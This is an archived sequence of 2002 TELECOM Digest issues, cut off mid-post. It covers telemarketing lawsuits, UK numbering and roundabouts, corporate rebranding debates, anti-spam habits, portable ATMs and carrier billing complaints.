I received a telemarketing call for XYZ on my home telephone number, 978 2xx-xxxx. At that time I asked to be put on the ""do not call"" list. On 11 Dec 2001 at 10:32 I received another telemarketing call for XYZ from the same call center as before, and on 5 July 2002 at 10:45 I received a third call. A person who receives more than one telephone call within twelve months is permitted by 47 USC 227 (c)(5) to bring a private right of action for $500 for each such violation to an appropriate court. /s/ 27 July 2002 In this case I named both the Massachusetts company XYZ and their contracted telemarketing call center in Kentucky as defendants. The court awarded $1000 plus costs, $500 from XYZ and $500 from the call center. They have not appealed, and both have until 20 December to pay, or must appear at a payment hearing in March, or be subject to arrest. I doubt I'll be able to collect the out-of-state award, but after the March hearing I might turn the court documents over to a Kentucky lawyer on a contingency basis, if I can find one willing. I have three or four other cases that I am considering filing, pending the results of the Mortgage Company's appeal. /john ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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End of TELECOM Digest V22 #181 ****************************** >From editor@telecom-digest.org Fri Dec 13 16:15:15 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBDLFFY20665; Fri, 13 Dec 2002 16:15:15 -0500 (EST) Date: Fri, 13 Dec 2002 16:15:15 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212132115.gBDLFFY20665@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #182 TELECOM Digest Fri, 13 Dec 2002 16:14:00 EST Volume 22 : Issue 182 Inside This Issue: Editor: Patrick A. Townson Book Review: Essentials of Data Communications, David Stamper (Rob Slade) Re: In a Roundabout Way (Paul Coxwell) Re: 011+ From NANP vs. 00+ From Most of World (Paul Cox) Re: The Farce of National Branding (John R. Levine) Re: The Farce of National Branding (Craig Partridge) Re: The Farce of National Branding (John Higdon) Re: Anti-Spam Countermeasures (Barry Margolin) Re: Portable ATM's an Invitation to Fraud? (Patrick T.) Adding Voicemail to Norstar+ Compact ICS (BHAX) MCI Continues Customer Ripoffs! (Michelle Spangler) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Rob Slade Organization: Vancouver Institute for Research into User Date: Fri, 13 Dec 2002 08:03:07 -0800 Subject: Book Review: Essentials of Data Communications, David Stamper BKESDTCM.RVW 20020628 ""Essentials of Data Communications"", David Stamper, 1997, 0-8053-7736-0, U$83.00 %A David Stamper %C P.O. Box 520, 26 Prince Andrew Place, Don Mills, Ontario M3C 2T8 %D 1997 %G 0-8053-7736-0 %I Addison-Wesley Publishing Co. %O U$83.00 416-447-5101 fax: 416-443-0948 %O http://www.amazon.com/exec/obidos/ASIN/0805377360/robsladesinterne %P 366 p. + diskette %T ""Essentials of Data Communications"" There are many good, even classic, general telecommunications texts. To be strictly fair, I should note only those published at the same time as, or earlier than, the one I'm reviewing. Even with that proviso, I can still say that Tanenbaum's ""Computer Networks"" (cf. BKCMPNWK.RVW), Stallings' ""Data and Computer Communications"" (cf. BKDTCMCM.RVW), and Minoli's ""Telecommunications Technology Handbook"" (cf. BKTLTCHB.RVW) all far exceed Stamper's work. Even McNamara's venerable ""Technical Aspects of Data Communications"" (cf. BKTCHDCM.RVW) (from 1988) presents a superior picture of basic communications technology. Stamper does try to cover the fundamentals, but even his introduction, in chapter one, is a confusing mix of foundational concepts and irrelevant (and outdated) examples and applications. Chapter two, on the physical and data layers, is reasonable but limited. The discussion of networking, in chapter three, starts off much the same, but soon wanders into trivia. Chapter four, ostensibly about LANs, contains a number of topics (such as backup) that have nothing to do with communications at all, and chapter five seems to be an attempt to duplicate the same material. Chapters six to nine show some awareness of basic concepts of networking and internetworking, but hidden in a confused mass of verbiage and extraneous detail. Some simplistic thoughts on security and data communications applications finish the book in chapter ten. This work is noted to be an ""integrated text and software package"" on the basis of some slide shows included on the accompanying disk. The slide shows basically reproduce some illustrations included in the book (or, one might say, the book reprints all of the slides). The figures are as non-illuminating as all too many objects of the type. However, when the ""computer based training"" tries to improve matters with animations, the results are even worse. Where the graphics are simply incomprehensible (unless you already know what is going on), the animations sometimes present material in erroneous ways, seeming to present incorrect ideas and concepts. This book is stated to be a course text. Why anyone would choose it over other available works is beyond my comprehension. copyright Robert M. Slade, 2002 BKESDTCM.RVW 20020628 ====================== rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ Upcoming (ISC)^2 CISSP CBK review seminars (+1-888-333-4458): December 16, 2002 December 20, 2002 San Francisco, CA February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: PaulCoxwell@aol.com Date: Fri, 13 Dec 2002 07:22:54 EST Subject: Re: In a Roundabout Way > I disagree, and I live in Canada -- for the most part, our road system > is set up like the American system. Over the course of, roughly, 1975 > through 1995, the last of our traffic circles were phased out. But in > the last couple of years, the City of Calgary has installed two new > ones, in Mackenzie Towne and Garrison Woods. In both cases, they've > improved the flow of traffic. The one in Mackenzie Towne has five > Consider that if the UK didn't use roundabouts, but instead used > two-way stops, four-way stops, or traffic lights to control traffic > at all of the intersections you describe (ie: ""every 200 yards or > so""), traffic would move much, much slower. Y'ever tried to make a > left hand turn (or a right-hand turn in the UK) onto a busy street > from a quiet side street on a two-way stop? You can wait for several > minutes! Well, I have no experience of Canadian traffic circles, or those mentioned in Massachusetts -- Most of my driving in the U.S. has been in the South and Mid-West. Maybe where they *are* used in North America the layout is better than here. > Yes, in rush hour, they can clog up pretty good -- but no worse than a > two-way stop, four-way stop, or traffic light intersection would, and > very likely not nearly as badly (my grammar teacher is twisting in his > grave). The idea of keeping traffic flowing sounds good, and quite probably works in some places where traffic isn't too heavy and is reasonably balanced from each road. Unfortunately, there are many places here where that isn't the case. There are many ""roundabouts"" on the ring road of my nearest big city (Norwich). If you try entering one of these from a side road during busy periods, you can sit there for several minutes while a continuous stream of traffic pours in from the ring road on your right. You have to either hope that some kind person will slow down to let you out or you have to see a gap you think is big enough and go for it, hoping that those approaching will slow down. These are multi-lane roundabouts, by the way, and the resulting game of ""find the correct lane"" as traffic goes around results in many near misses, minor bumps, and frayed tempers. Traffic lights, if suitably timed/sensed, might hold up the main flow of traffic for a short period, but would allow everybody a chance and would eliminate the problems I've mentioned. The problem is that in many relatively quiet surburban streets they've also installed dozens of ""mini-roundabouts."" These are places where a simple 2-way stop, or better yet an American/Canadian-style 4-way stop would be much better. > I submit to you that you probably find driving in North America far > more pleasurable because of a road system designed for motorized, or > at least mechanized, vehicle traffic -- as opposed to much of Great > Britain (particularly London) which is still, to this day, laid out > around footpaths and cartpaths. In much of North America (and Most certainly. The whole layout and design on North American roads makes for more relaxed driving. Easier vision at intersections, wider roads, logical signs instead of the inconsistent mish-mash of British & Continental signs we have here, and so on. I like the other touches, small but which make for keeping traffic moving:- Right turns on red and switching lights to flashing red & amber at night in quiet areas, for example. The lower traffic density certainly helps as well! Paul Coxwell, Norfolk, U.K. ------------------------------ From: PaulCoxwell@aol.com Date: Fri, 13 Dec 2002 07:22:57 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World >> Reading numbers may at present be limited to 3xx and 9xx, but the >> whole point of expanding the local numbers to 7-digits was to increase >> capacity for the future. That means that within a few years we almost >> certainly *will* see other Reading prefixes. > No chance -- unless there is political interference! The growth in > demand for numbers in the UK stemmed from the arrival of multiple > competing operators, each wanting their own local ranges, and there is > now very little real growth of significance. >>> Also, there has never been a UK number range 0119, nor is there any >>> scope to create one under what passes for UK current numbering policy! >> 0119 is a spare code at present, but there's no reason why it couldn't >> be adopted when the next growing city is forced to migrate to 7-digit >> numbering. > There is a very good reason why it couldn't - please read what I > wrote: ""nor is there any scope to create one under ... current > numbering policy"" > The present policy is that when any growing city has to provide for > more local numbers than a six-digit scheme will accomodate, it will > change to an EIGHT digit scheme, with a regional, rather than local, > area code of the for 02X or possibly 03X. There will be NO more new > codes under 01. O.K., I stand corrected. I was looking at it from a purely practical/technical point of view. I have to confess that I've not followed the policy behind the renumbering all that closely in recent years (quite some time since I left BT). > Almost all the changes in the last few years have been to correct the > havoc that had previously been wreaked by a very misguided individual; > now we have a thought-through policy, which obviously is restricted in > implementation to particular parts of the country: but provided we > follow it we should end up with a stable and well-understood scheme; > indeed, one as well-understood and easy to use as the NPA-NXX scheme > in manner way it was *originally* introduced in World Zone One. With I agree that at least the new numbering scheme (07xx=mobile, 08xx=free/low-rate, 09=premium etc.) for codes will be a vast improvement on the situation which existed previously. I still believe that there are some things which could have been handled better in this ""grand plan"" though. Re the policy that when places outgrow 6-digit numbering plans they'll go straight to 8 digits with 02x or 03x codes, when did this policy come into effect exactly? If this was to be the policy for future expansion, then why were Reading, Bristol, Nottingham, et al moved to 7-digit numbering with 011n codes instead of going straight to 8-digit local numbers? In general though, I agree that the mess that has been made of changes over the last few years is only now starting to be put straight. The hastily rushed split of London into 071 and 081 without thinking about what would then need to be done a little farther down the track is an excellent example of the lack of planning. > It isn't just the sleaze merchants ... the problem of advertising > domestic numbers across international borders is well established. It > contributed to the reason why, for example, Eire (the Republic of > Ireland), uses 1800 and not 0800 as in the UK and Northern Ireland. Maybe, but another practical reason is that when Ireland introduced toll-free numbers they were already using 080 as a kludge for dialing into Northern Ireland. Now that 048 is used for that purpose, I wonder whether they will re-organize to the ""common"" standard? That would involve a major upheaval to Irish codes. > One of they KEY objectives of anyone designing a telephone numbering > plan, is to minimise the impact of misdialling which, statistically, > is bound to happen. Which brings us back to one of the key points made some time ago as to the reason why the U.S. adopted 01+ and 011+ as special and sent-paid IDDD codes. > But in the case I was quoting, they didn't know they were calling > Guyana. They didn't know where they were calling. All they knew was > that the web page said that to hear various erotic material, they had > to dial 011 592 5xxxxx. And that's exactly what they did. Fair enough if they weren't told where the call terminated, I suppose. But I don't see that that's any sort of valid argument for the NANP to switch to 00+ for international dialing. > Hopefully one day they will start to take a more ethical position. We can live in hope, but I'm not holding my breath! Paul Coxwell, Norfolk, U.K. ------------------------------ Date: 13 Dec 2002 08:34:54 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: The Farce of National Branding Organization: I.E.C.C., Trumansburg NY USA > [TELECOM Digest Editor's Note: Well that is similar also to here in > the USA where Sprint bought United Telephone Company (or the other > way around, who knows) then promptly declared they had 'more than a > century of experience in telecommunications. That particular campaign was more honest than it might seem. United Tel really did buy Sprint, but then they adopted Sprint's name. I presume that was because Sprint was a heavily advertised brand name in the competitive long distance market where customers can switch easily, while United was only used for local service where there was no competition at all. But regardless of the name, the surviving company was United which was (and is) a century old ILEC with a decent service reputation. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: craigp@world.std.com (Craig Partridge) Subject: Re: The Farce of National Branding Organization: The World @ Software Tool & Die Date: Fri, 13 Dec 2002 13:52:07 GMT Barry Margolin writes: > Almost no one who authored any RFC's is employed by Genuity. I think > Craig Partridge was probably the most prolific BBN'er in that respect > (his name is on 27 RFC's). He was in BBN S&T when we spun off; I > don't know offhand if he's still there, but I know he doesn't work for > Genuity. Hi Barry: Thanks for the plug! I think most prolific BBN'er for RFCs was Alex McKenzie, who retired a while back. He has 61 RFCs to his credit. Two small details to add to your story: * We actually still have the router expertise at BBN. We sold the product side, but not the research side. So we team with vendors to help develop innovative new router (and encrypter) technology. We like to say we're the leading router R&D center not affiliated with a single vendor. * I believe that Genuity officially holds the BBN incorporation documents. When Genuity was spun off from GTE just before the Verizon merger, Genuity wanted a retirement and benefits plan in place. Apparently retirement and benefits plans are tied to corporations and the easiest way to give Genuity a set of plans was to give it BBN as a shell company, and reincorporate BBN S&T as a Verizon-owned entity (with Verizon's retirement and benefit plans). Thanks! Craig Partridge Chief Scientist, BBN Technologies ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Fri, 13 Dec 2002 07:48:54 -0800 In article , sjsobol@JustThe.net (Steven J. Sobol) wrote: >> Brand names today are meaningless. > I disagree. Can you give some examples? Other than toothpaste and mouthwash, give me some names of companies that show a direct lineage to their roots, and still develop and manufacture their own products. There are very few. > So SBC lies; this is nothing new. If you were interested you might be > able to get them into trouble for false advertising. It is more than a matter of lying. It is the co-opting of a century of customer and community good will under false pretenses. I seriously doubt that any sort of legal case could be made for that. >> The name of the park is about to be changed to ""SBC Park"" (how >> catchy!). San Francisco loses yet another bit of history and landmark >> identification; SBC perpetuates its worthless and meaningless >> ""national brand name"". > Wasn't Candlestick Park renamed 3Com Park? How is that any better? Not a comparable situation by any means. The Giants stadium was built with private money, a substantial portion of which came from PacBell when it was owned by Pacific Telesis, a California corporation based in San Francisco. For that substantial contribution to the community in making the stadium possible in the first place, PacBell (not SBC) was awarded the right to name the park through the year 2020. Candlestick Park (as it is named now) simply sold the rights to the name to the highest bidder long after the stadium was built, as stadiums do around the country these days. That contract with 3Com has since run out, and San Franciscans have decided, at least for now, to keep the original name of the facility intact. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: What about Proctor & Gamble, and Lever Brothers, and Sears, Roebuck (now the 'Roebuck' part of the name has been removed) to name a few old standbys ... PAT] ------------------------------ From: Barry Margolin Subject: Re: Anti-Spam Countermeasures Organization: Genuity, Woburn, MA Date: Fri, 13 Dec 2002 16:08:45 GMT In article , Monty Solomon wrote: > Hate the sender all you want, the sad fact is that you may very well > be the person ultimately responsible for the spam you receive by > giving your address out to various Web sites, posting it to newsgroups > or mailing lists, or otherwise exposing it in places where anyone can > find it. So now we blame the victims? I've been online for over twenty years, and post prolifically to Usenet, and as a result I'm on just about every spammer's list multiple times (I've had lots of addresses over the years, and many of them forward to my current address). I get over 100 spams a day. But I still refuse to munge my address. > It's pretty common these days to use a decoy account. Use one account > on a free service like Microsoft's (nasdaq: MSFT - news - people ) > Hotmail or Yahoo! (nasdaq: YHOO - news - people ) to give out to Web > sites and mailing lists, while keeping your ""real"" e-mail account -- > that is, the one you want your friends and family to actually use -- a > secret given only to trusted people. And what about people who want to reply to my Usenet postings? How do they learn this ""secret""? That's why I refuse to use a fake address. What's the point of having return addresses in Usenet headers if everyone's just going to put useless addresses there. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. [TELECOM Digest Editor's Note: Barry is quite correct about decoy names. Look how long I have been on the net ... and all the addresses in circulation for this Digest alone over the years, many of them still in service through forwarding, etc as a convenience to readers. My answer is to use various things like an obstacle course to rid the spam as best I can. Even with SpamAssassin and other tools, I still have to take a *large* scoop shovel and manually remove several loads of that manure each day. Would you believe just the other day I got some spam which had been overlooked by the various removal tools using an *old* (is 1989 old enough?) address for me at cs-bu.edu ... I could not resist the temptation to make mock of the sender: I wrote him back and said, ""I bet whoever you bought that massive list of ten million email addresses from told you they were all current."" PAT] ------------------------------ From: Patrick t. Subject: Re: Portable ATM's an Invitation to Fraud? Reply-To: same.as.above@attbi.com Organization: AT&T Broadband Date: Fri, 13 Dec 2002 19:02:30 GMT On Mon, 09 Dec 2002 21:54:07 MST, acuma@aztec.asu.edu (Chris N Acuma) wrote: Most all of these devices, pos, atm, smart card terminals can be purchased to operate on cdpd (cellular data packet delivery). No big thing really. Just a little more pricey for the owner of the terminal. They are no more prone to risk than anything else in that world. > I WENT TO THE TEMPE FESTIVAL OF THE ARTS THIS WEEK WHICH IS A 3 DAY > ARTS FESTIVAL AND STREET FAIR THAT PUT ON IN DOWNTOWN TEMPE WHICH IS > ATTENDED BY ABOUT 100,000 PEOPLE. > I NOTICED MAYBE 30 PORTABLE ATM MACHINES THAT HAD BEEN MOVED TO THE > STREETS OF DOWNTOWN TEMPE TO ALLOW PEOPLE TO WITH DRAW MONEY FROM > THEIR BANKS AND SPEND AT THE FAIR. > AND SECOND IF THEY USE RADIO WAVES I SUSPECT THATS AN OPEN INVITATION > FOR FRAUD. ANY COMMENTS ON THAT? > CHRIS [TELECOM Digest Editor's Note: Commerce Bank and First National Bank of Independence both did that same thing during our Neewollah Festival the last part of October. (Neewollah is Halloween spelled backward, and this annual festival here attracts the entire county and people from all over Kansas and many other places; about 10,000 visitors each day for the ten days or so of the fest.) The two banks set up ATM machines a few blocks down the street from their usual locations outside the bank. They operated them with cellular phones. PAT] ------------------------------ From: BHAX Subject: Adding Voicemail to Norstar+ Compact ICS Organization: Prodigy Internet http://www.prodigy.com Date: Fri, 13 Dec 2002 20:02:49 GMT I have a norstar+ compact ICS that I want to add voicemail too. Is the NVM 4.0 just an upgrade card or is it a seperate system? Thanks, BHAX ------------------------------ From: Michelle Spangler Subject: MCI Once Again Ripping Off Customers Date: Fri, 13 Dec 2002 00:23:06 -0600 MCI telephone service - charged for local toll calls when local calls were still being billed by local phone company - need a refund - paid $120 and still demanding more money. I enrolled with MCI for about six months with their Local Toll Call program for $29.95 a month and never received such service. I ignorantly paid for about four months after several calls to MCI customer service (to no avail) as the representative would just redo my account to reflect the same program and again another month went by that my local toll calls were still on my local phone company's billing statement and MCI gets another $29.95 for doing absolutely nothing. Finally I switched to another company after receiving a ""nasty gram"" from MCI in the mail every 3 weeks and at least 3 phone calls per week demanding payment of 2 months service that I did not receive nor did I ever receive but graciously handed MCI over about $120.00 for absolutely nothing! Now after being with the other company for about four months and a 3 way call between my local company and MCI to make them aware that they were not my company of choice as I have received several letters thanking me 1 day for my patronage to MCI and the next week another demand for services not rendered. Go figure. With all the problems MCI World Com is encountering about fraud and misinformation and definitely mis-Communication with their customer base you would think MCI would be grateful for my ""donation"" for services never rendered and leave me alone with my new best friend, another long distance carrier, that does their job and I get satisfaction knowing my bills accurately reflect the services I have chosen and receive. I have written to MCI twice to their headquarters in Iowa and received a lovely postcard saying ""Sorry but we can't help you"". Surprise!! Where else can I turn to resolve this issue with a very misrepresenting company that is constantly harrassing the consumer for money owed to them for services they do not even attempt to give their customers? Is the FCC listening to me because MCI obviously cannot hear anything but ""Cha-ching"". Michelle S. in Manning, S.C. mspangler@cmhosp.org [TELECOM Digest Editor's Note: Well, we know MCI is a bunch of very brazen thieves. We've know that for over thirty years about them, from the time in the 1960's when they ripped off AT&T and Illinois Bell. When they were forced into bankrupty a few months ago I sort of hoped that would be the end of them; but no such luck I guess. Anyone have any solutions/suggestions for Ms. Spangler? PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #182 ****************************** >From editor@telecom-digest.org Sat Dec 14 13:23:32 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBEINWJ15585; Sat, 14 Dec 2002 13:23:32 -0500 (EST) Date: Sat, 14 Dec 2002 13:23:32 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212141823.gBEINWJ15585@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #183 TELECOM Digest Sat, 14 Dec 2002 13:24:00 EST Volume 22 : Issue 183 Inside This Issue: Editor: Patrick A. Townson Re: The Farce of National Branding (Justin Time) Re: The Farce of National Branding (Garrett Wollman) Re: The Farce of National Branding (Ron Chapman) Re: The Farce of National Branding (Steven J. Sobol) Re: The Farce of National Branding (Paul A Lee) Re: The Farce of National Branding (Gail M. Hall) Re: The Farce of National Branding (Michael A. Chance) Re: Anti-Spam Countermeasures (Phil Earnhardt) Re: Anti-Spam Countermeasures (Paul Wallich) Re: Anti-Spam Countermeasures (John Higdon) Re: Anti-Spam Countermeasures (Chris Kantarjiev) Re: Anti-Spam Countermeasures (Mark Crispin) Re: Adding Voicemail to Norstar+ Compact ICS (Brian Cox) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: a_user2000@yahoo.com (Justin Time) Subject: Re: The Farce of National Branding Date: 13 Dec 2002 13:44:29 -0800 Organization: http://groups.google.com/ Barry Margolin wrote in message news:: > In article , > wrote: >> [TELECOM Digest Editor's Note: Well that is similar also to here in >> the USA where Sprint bought United Telephone Company (or the other >> way around, who knows) then promptly declared they had 'more than a >> century of experience in telecommunications. > This is also similar to my own company's marketing. Here's a quote from > one of our annual reports: > When the Internet was first conceived, we were there, helping to make > it happen. In fact, we built and operated some of the first components, > the packet switches and routers. We sent the world's first e-mail. > However, the company named Genuity didn't exist in the 70's when this was > all happening. The company the above quote is talking about is Bolt, > Beranek, and Newman (BBN). BBN was acquired by GTE 4-5 years ago, and then > Genuity was spun off as a public company 2 years ago when GTE merged with > Bell Atlantic to form Verizon. Recently United Airlines has started a new marketing campaign proudly crowing they have been providing service for over 70 years. This is another of those claims by a company that didn't exist back then. United was formed through the merger of several smaller carriers back in the late 50's or early 60's. Now if they can include the history of the predecessors, then maybe their history will reach back that far, but as a company, United didn't exist until the 7 smaller airline companies merged to form a ""United"" company. Rodgers Platt ------------------------------ From: wollman@khavrinen.lcs.mit.edu (Garrett Wollman) Subject: Re: The Farce of National Branding Date: 13 Dec 2002 23:32:13 GMT Organization: MIT Laboratory for Computer Science In article , John Higdon wrote: > in San Francisco. For that substantial contribution to the community > in making the stadium possible in the first place, PacBell (not SBC) > was awarded the right to name the park through the year 2020. You make it sound like the naming rights were given to Pac*Tel out of the goodness of the builders' hearts. It would be considered gross malfeasance if the naming rights were not assigned contractually in exchange for some sort of consideration (i.e., sold). They paid for the naming rights, and the money was used to finance construction, a straightforward commercial transaction. In any case, it is customary for legal documents creating a relationship of this sort to name parties in the form 'Pacific Telesis, its successors and assigns'. SBC is unquestionably the legal successor or assign of Pacific Telesis. (Without a lot of costly legal work, it would be difficult to tell precisely which. In most utility mergers I've heard about, the old corporation continues to live on, as a paper tiger, for reasons which I suspect have to do with state licensing laws.) -- Garrett A. Wollman | [G]enes make enzymes, and enzymes control the rates of wollman@lcs.mit.edu | chemical processes. Genes do not make ``novelty- Opinions not those of| seeking'' or any other complex and overt behavior. MIT, LCS, CRS, or NSA| - Stephen Jay Gould (1941-2002) ------------------------------ Date: Fri, 13 Dec 2002 20:17:53 -0500 From: Ron Chapman Subject: Re: The Farce of National Branding In article , John Higdon wrote: >>> Brand names today are meaningless. >> I disagree. > Can you give some examples? Other than toothpaste and mouthwash, give > me some names of companies that show a direct lineage to their roots, > and still develop and manufacture their own products. There are very > few. Xerox? Unless you want to say that they are really Haloid; however, Haloid simply changed their name to something brand new to reflect the brand new thing they had gotten into. There was no acquisition or co-opting of anything or anyone else. And yes, they still manufacture their own products. Design them all, too. From scratch. Coca-Cola? Hardly a farce. John, you do live in a world where that is by far the rule, but wander outside your front yard a little and see that the telecom industry *is* the exception by being the leader in this co-opting and diluting of brand. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Fri, 13 Dec 2002 23:09:30 -0000 Organization: JustThe.net LLC John Higdon wrote: > In article , sjsobol@JustThe.net > (Steven J. Sobol) wrote: >>> Brand names today are meaningless. >> I disagree. > Can you give some examples? Other than toothpaste and mouthwash, give > me some names of companies that show a direct lineage to their roots, > and still develop and manufacture their own products. There are very > few. JustThe.net ;) Ok, seriously. Let me think. Any of the Big Three auto companies, and yes, I AM including DaimlerChrysler. In that case, there are two such names. I'm sure I can come up with some others. > Not a comparable situation by any means. The Giants stadium was built > with private money, a substantial portion of which came from PacBell > when it was owned by Pacific Telesis, a California corporation based > in San Francisco. For that substantial contribution to the community > in making the stadium possible in the first place, PacBell (not SBC) > was awarded the right to name the park through the year 2020. > [TELECOM Digest Editor's Note: What about Proctor & Gamble, and > Lever Brothers, and Sears, Roebuck (now the 'Roebuck' part of the > name has been removed) to name a few old standbys ... PAT] Unilever NV may or may not be the same company as Lever Bros. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! [TELECOM Digest Editor's Note: Whatever happened to the old Montgomery Ward Company? I know they filed bankruptcy several years ago, but what are they know as now, if anything? PAT] ------------------------------ From: Paul A Lee Subject: Re: The Farce of National Branding Date: Sat, 14 Dec 2002 00:27:39 -0500 In TELECOM Digest V22 #182, John Higdon wrote (in part): > Can you give some examples? Other than toothpaste and > mouthwash, give me some names of companies that show a direct > lineage to their roots, and still develop and manufacture > their own products. There are very few. First, I've read more from John that I agree with than that I disagree with. That said -- Let's see ... Concentrating on U.S. brands and firms that are close to 100 years old or older, excepting companies whose principal business has fundamentally changed in that time (such as Wells-Fargo), and leaving out toothpaste and mouthwash, the following come to mind: Chevrolet, Ford, Chrysler, Mack, Harley-Davidson, Goodyear, Boeing, Caterpillar, John Deere, Briggs & Stratton. Quaker Oats (PepsiCo), Kellogg, Campbell Soup, Tastykake, Wrigley, Coca-Cola, Pepsi Cola (PepsiCo), Hershey, Del Monte, Heinz, Nabisco (part of Kraft), Kraft (part of Philip Morris), Philip Morris, Dole, Hormel, Anheuser-Busch, Adolph Coors, McCormick. Arm & Hammer (Church & Dwight), Ivory (Procter & Gamble), Clorox, Ball (jars & cans), R.J. Reynolds, Bristol-Myers Squibb, Johnson & Johnson, Eli Lilly, Bausch & Lomb, Kleenex (Kimberly-Clark), Gillette, Levi Strauss, Fruit of the Loom A&P (The Great Atlantic & Pacific Tea Company), Kroger, Walgreen's, Macy's, Sears. Kodak, DuPont, Sherwin-Williams, Corning, American Standard, Maytag, General Electric, Emerson Electric, NCR (National Cash Register), Pitney Bowes, Diebold, Scotch Brand (3M - Minnesota Mining and Manufacturing), Steelcase, Smith & Wesson, Remington Arms, Steinway & Sons, Sealy, Simmons. McGraw-Hill, Hallmark, Dun & Bradstreet, The New York Times. There are probably five times this many companies, and 50 times as many brands that have a direct history of 100 years or more. If I only have to look for a 50-year history, the lists would probably grow by a factor of ten. If I look worldwide, probably another factor of ten. There's a lot of business history and heritage out there. Many people don't care much about it, so it doesn't get a lot of notice. As in family circles, the outlandish arrangements and behaviors get far more attention than the more conservative ones. Paul A Lee *palee*at*dca*dot*net [TELECOM Digest Editor's Note: Don't forget Chicago Tribune Company, around since 1847, although the Chicago Tribune (newspaper) is just one of their companies now for many years. PAT] ------------------------------ From: Gail M. Hall Subject: Re: The Farce of National Branding Date: Sat, 14 Dec 2002 04:12:56 -0500 Reply-To: gmhall@apk.net On Fri, 13 Dec 2002 02:11:20 -0000, in comp.dcom.telecom message , you wrote: > From 'John Higdon' : >> Today, SBC announced that it is tossing the name ""Pacific Bell"" and >> ""PacBell"". Anyone with a pulse could see this coming, but what is >> annoying is the SBC perpetuation of the myth of ""branding"". > On the radio I heard that SBC Ameritech is now known as SBC. As I see the ""SBC"" getting bigger on their bills and envelopes compared to the word ""Ameritech,"" I am pretty sure that day is coming. BUT until they tell us to make the checks out to ""SBC"" instead of ""Ameritech,"" they will be ""Ameritech"" to me. As for ""brand name,"" I think the sound of the word ""Ameritech"" is a LOT more descriptive than some initials ""SBC"" which still brings back memories of ""southern."" When Ohio Bell, Michigan Bell, Illinois Bell, etc., all came under one ""roof,"" the company had the idea of maybe expanding around the country. They picked a name that reflected that idea. It had a ""national"" sound to it. I think if they keep any name, it ought to be the one with the message ""America"" in it. >> Brands used to mean something. > In this case I don't think it matters. SBC took the original companies > and turned them into crap, and everyone knows it was SBC that did it. > I don't know about Pacbell, but Ameritech was fair-to-middling in the > Customer Service department before ""We don't give a rat's ass about > anyone"" SBC moved in. Ameritech was already in trouble with the PUCO before SBC took them over. >> Brand names today are meaningless. > I disagree. Eventually SBC may have to change its name to something more meaningful. >> company, Pacific Telesis. SBC simply handed over cash for a going >> business. > So SBC lies; this is nothing new. If you were interested you might be > able to get them into trouble for false advertising. >> The name of the park is about to be changed to ""SBC Park"" (how >> catchy!). San Francisco loses yet another bit of history and landmark >> identification; SBC 